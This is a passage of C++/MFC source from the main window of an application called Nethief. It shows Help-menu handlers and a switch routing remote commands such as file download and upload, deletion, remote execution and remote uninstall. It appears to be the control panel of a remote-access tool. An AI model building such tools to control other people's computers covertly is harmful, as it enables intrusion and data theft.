CString exeFullPath; //用于保存当前执行程序路径
GetModuleFileName(NULL, //得到路径
exeFullPath.GetBufferSetLength(MAX_PATH),MAX_PATH);
exeFullPath.GetBufferSetLength(exeFullPath.ReverseFind('\\')+1); //找到
exeFullPath.ReleaseBuffer();
CString strLogFileName=exeFullPath+"Readme.txt"; //源文件名
ShellExecute(NULL,NULL,strLogFileName,NULL,exeFullPath,SW_SHOWMAXIMIZED);
}
void CMainFrame::OnHelpHomepage()
{
// TODO: Add your command handler code here
ShellExecute(NULL,NULL,"http://www.greenstuffsoft.net/"
,NULL,NULL,SW_SHOWNORMAL);
}
void CMainFrame::OnHelpEmail()
{
// TODO: Add your command handler code here
CNethiefApp* app=(CNethiefApp*)AfxGetApp();
ShellExecute(NULL,NULL,
"mailto:webmaster@greenstuffsoft.net?subject=关于 "+app->m_strVersion
,NULL,NULL,SW_SHOWNORMAL);
}
void CMainFrame::OnHelpUpdate()
{
// TODO: Add your command handler code here
m_pDoc->OnHelpUpdate();
}
BOOL CMainFrame::OnSetCursor(CWnd* pWnd, UINT nHitTest, UINT message)
{
// TODO: Add your message handler code here and/or call default
if(m_pDoc->m_bIsBusy)
{
SetCursor(m_hCursor);
return TRUE;
}
return CFrameWnd::OnSetCursor(pWnd, nHitTest, message);
}
////////////////////////////////////////////////////////////////
void CMainFrame::OnSocket(WPARAM wParam,LPARAM lParam)
{
DWORD dwEvent=lParam;
switch(dwEvent)
{
case FD_ACCEPT:
{
m_pDoc->OnSocketAccept();
break;
}
}
}
void CMainFrame::OnWorkThread(WPARAM wParam,LPARAM lParam)
{
DWORD dwThreadMessage=wParam;
DWORD dwResult=lParam;
switch(dwThreadMessage)
{
case CMD_NOTIFYCONNECT:
{
m_pDoc->OnTM_NotifyConnect(dwResult);
break;
}
case CMD_IDVERIFY:
{
m_pDoc->OnTM_IDVerify(dwResult);
break;
}
case CMD_DOWNLOADDISKDRIVEINFO:
{
m_pDoc->OnTM_DownloadDiskDriveInfo(dwResult);
break;
}
case CMD_EXPANDDIRECTORY:
{
m_pDoc->OnTM_ExpandDirectory(dwResult);
break;
}
case CMD_SHOWFILELIST:
{
m_pDoc->OnTM_ShowFileList(dwResult);
break;
}
case CMD_RENAMEFILE:
{
m_pDoc->OnTM_RenameFile(dwResult);
break;
}
case CMD_NEWFILE:
{
m_pDoc->OnTM_NewFile(dwResult);
break;
}
case CMD_NEWFOLDER:
{
m_pDoc->OnTM_NewFolder(dwResult);
break;
}
case CMD_DELETEFILE:
{
m_pDoc->OnTM_DeleteFile(dwResult);
break;
}
case CMD_REMOTEPASTE:
{
m_pDoc->OnTM_RemotePaste(dwResult);
break;
}
case CMD_GETOPERATIONOBJECT:
{
m_pDoc->OnTM_GetOperationObject(dwResult);
break;
}
case CMD_DOWNLOADFILE:
{
m_pDoc->OnTM_DownloadFile(dwResult);
break;
}
case CMD_UPLOADFILE:
{
m_pDoc->OnTM_UploadFile(dwResult);
break;
}
case CMD_SHOWPROPERTY_MULTI:
{
m_pDoc->OnTM_ShowProperty_Multi(dwResult);
break;
}
case CMD_SHOWPROPERTY_SINGLE:
{
m_pDoc->OnTM_ShowProperty_Single(dwResult);
break;
}
case CMD_MODIFYPROPERTY_SINGLE:
{
m_pDoc->OnTM_ModifyProperty_Single(dwResult);
break;
}
case CMD_SHOWPROPERTY_DISKDRIVE:
{
m_pDoc->OnTM_ShowProperty_Diskdrive(dwResult);
break;
}
case CMD_MODIFYPROPERTY_DISKDRIVE:
{
m_pDoc->OnTM_ModifyProperty_Diskdrive(dwResult);
break;
}
case CMD_REMOTERUN:
{
m_pDoc->OnTM_RemoteRun(dwResult);
break;
}
case CMD_REMOTEUNINSTALL:
{
m_pDoc->OnTM_RemoteUninstall(dwResult);
break;
}
case CMD_FINDFILE:
{
m_pDoc->OnTM_FindFile(dwResult);
break;
}
case CMD_SHOWNOTE:
{
m_pDoc->OnTM_ShowNote(dwResult);
break;
}
case OTR_REFRESHSTATUSBAR:
{
m_pDoc->OnTM_RefreshStatusBar(dwResult);
break;
}
case CMD_GETFILEINFO:
{
m_pDoc->OnTM_GetFileInfo(dwResult);
break;
}
}
}